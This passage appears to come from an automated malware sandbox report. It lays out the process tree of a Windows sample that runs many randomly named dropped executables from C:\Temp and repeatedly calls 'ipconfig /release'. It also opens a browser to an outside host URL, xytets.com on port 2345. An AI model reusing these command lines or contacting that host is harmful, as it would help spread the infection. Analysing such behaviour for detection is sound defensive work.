      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5064
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifdxvtnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4060
  - - C:\Temp\i_nifdxvtnlf.exe
      C:\Temp\i_nifdxvtnlf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vpnkfcxusm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1924
  - - C:\Temp\vpnkfcxusm.exe
      C:\Temp\vpnkfcxusm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3672
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2816
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3644
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vpnkfcxusm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2712
  - - C:\Temp\i_vpnkfcxusm.exe
      C:\Temp\i_vpnkfcxusm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\upnhfzxrpk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2268
  - - C:\Temp\upnhfzxrpk.exe
      C:\Temp\upnhfzxrpk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2468
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4488
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4168
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_upnhfzxrpk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3108
  - - C:\Temp\i_upnhfzxrpk.exe
      C:\Temp\i_upnhfzxrpk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3264
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rmkecwuomj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4556
  - - C:\Temp\rmkecwuomj.exe
      C:\Temp\rmkecwuomj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5964
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2852
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1640
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rmkecwuomj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3528
  - - C:\Temp\i_rmkecwuomj.exe
      C:\Temp\i_rmkecwuomj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhezwuojhe.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1448
  - - C:\Temp\jhezwuojhe.exe
      C:\Temp\jhezwuojhe.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2476
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:756
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhezwuojhe.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4208
  - - C:\Temp\i_jhezwuojhe.exe
      C:\Temp\i_jhezwuojhe.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omgebwuolj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4456
  - - C:\Temp\omgebwuolj.exe
      C:\Temp\omgebwuolj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4912
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2832
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omgebwuolj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4924
  - - C:\Temp\i_omgebwuolj.exe
      C:\Temp\i_omgebwuolj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgeywqoigb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4108
  - - C:\Temp\lgeywqoigb.exe
      C:\Temp\lgeywqoigb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5888
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgeywqoigb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2964
  - - C:\Temp\i_lgeywqoigb.exe
      C:\Temp\i_lgeywqoigb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yvtnlidavt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:960
  - - C:\Temp\yvtnlidavt.exe
      C:\Temp\yvtnlidavt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3644
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2312
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5056
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_yvtnlidavt.exe ups_ins
    3⤵
    PID:4432
  - - C:\Temp\i_yvtnlidavt.exe
      C:\Temp\i_yvtnlidavt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1940
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\avsnkigays.exe ups_run
    3⤵
    PID:2044
  - - C:\Temp\avsnkigays.exe
      C:\Temp\avsnkigays.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1612
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2776
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_avsnkigays.exe ups_ins
    3⤵
    PID:4636
  - - C:\Temp\i_avsnkigays.exe
      C:\Temp\i_avsnkigays.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvsnkfcax.exe ups_run
    3⤵
    PID:1316
  - - C:\Temp\dxvsnkfcax.exe
      C:\Temp\dxvsnkfcax.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5716
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1696
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2600
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvsnkfcax.exe ups_ins
    3⤵
    PID:932
  - - C:\Temp\i_dxvsnkfcax.exe
      C:\Temp\i_dxvsnkfcax.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6108
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxupnkfzxs.exe ups_run
    3⤵
    PID:2536
  - - C:\Temp\cxupnkfzxs.exe
      C:\Temp\cxupnkfzxs.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5736
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5768
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxupnkfzxs.exe ups_ins
    3⤵
    PID:1260
  - - C:\Temp\i_cxupnkfzxs.exe
      C:\Temp\i_cxupnkfzxs.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kecwupmhez.exe ups_run
    3⤵
    PID:4300
  - - C:\Temp\kecwupmhez.exe
      C:\Temp\kecwupmhez.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3056
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5592
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kecwupmhez.exe ups_ins
    3⤵
    PID:2704
  - - C:\Temp\i_kecwupmhez.exe
      C:\Temp\i_kecwupmhez.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwupmhezxr.exe ups_run
    3⤵
    PID:3228
  - - C:\Temp\cwupmhezxr.exe
      C:\Temp\cwupmhezxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5840
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6020
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwupmhezxr.exe ups_ins
    3⤵
    PID:2648
  - - C:\Temp\i_cwupmhezxr.exe
      C:\Temp\i_cwupmhezxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3216
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wromgeywro.exe ups_run
    3⤵
    PID:1628
  - - C:\Temp\wromgeywro.exe
      C:\Temp\wromgeywro.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6108
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3548
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wromgeywro.exe ups_ins
    3⤵
    PID:4828
  - - C:\Temp\i_wromgeywro.exe
      C:\Temp\i_wromgeywro.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trojgeytqo.exe ups_run
    3⤵
    PID:5188
  - - C:\Temp\trojgeytqo.exe
      C:\Temp\trojgeytqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3160
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3260
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trojgeytqo.exe ups_ins
    3⤵
    PID:4268
  - - C:\Temp\i_trojgeytqo.exe
      C:\Temp\i_trojgeytqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5332
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tnlfdbvtnl.exe ups_run
    3⤵
    PID:4708
  - - C:\Temp\tnlfdbvtnl.exe
      C:\Temp\tnlfdbvtnl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1808
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6036
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4888
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tnlfdbvtnl.exe ups_ins
    3⤵
    PID:1516
  - - C:\Temp\i_tnlfdbvtnl.exe
      C:\Temp\i_tnlfdbvtnl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4264
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7ffb5f71c188,0x7ffb5f71c194,0x7ffb5f71c1a0
      4⤵
      PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,6565593535701913708,4261698436213871866,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:11
      4⤵
      System Time Discovery
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1616,i,6122038611923719162,12866791396263246605,262144 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:2
      4⤵
      PID:3624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2284,i,16325158489739829386,11412191418350680437,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:13
      4⤵
      PID:5912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,7863140998701501917,18198233537608196008,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
      4⤵
      PID:1448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,7445078474976175582,11625486350222510164,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:3672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4336,i,12805460460487930060,11441353015084963012,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:9
      4⤵
      PID:3688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4284,i,14489038496403272402,6766667671125521921,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:1
      4⤵
      PID:1432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,11238272520878995521,9023102520462425238,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
      4⤵
      PID:2776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5356,i,14713490503233266013,10493586049663219873,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:1
      4⤵
      PID:1116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3648,i,11417819698180720913,600810209110279420,2097152 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
      4⤵
      PID:4688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5684,i,10206397048047323135,5300544947072530673,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:14
      4⤵
      PID:252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5696,i,5093718215320142583,16269169752199968381,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
      4⤵
      PID:5480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,5715122182078790840,6052114815822901592,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
      4⤵
      PID:1820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,5715122182078790840,6052114815822901592,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
      4⤵
      PID:4516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,5843507822550304037,14242614789750562253,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
      4⤵
      PID:1396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6620,i,7078612241051931700,485775360906503239,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:14
      4⤵
      PID:4472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=752,i,1061597057215296751,3743828163425125450,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:14
      4⤵
      PID:1332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3576,i,6076769562076120875,897299247666355901,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:14
      4⤵
      PID:756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4784,i,9782478716363622301,8624941964891616559,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:14
      4⤵
      PID:5732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,846004968681912957,5574824558701337632,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:14
      4⤵
      PID:4276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,7595068936973052601,14629203415101510497,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
      4⤵
      PID:1332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,9941227782517669604,10055088811151926332,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:14
      4⤵
      PID:256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,11142406249584882625,11476219178991583446,524288 --field-trial-handle=2344,i,11815048268386595702,5299175453777616020,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:14
      4⤵
      PID:3124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
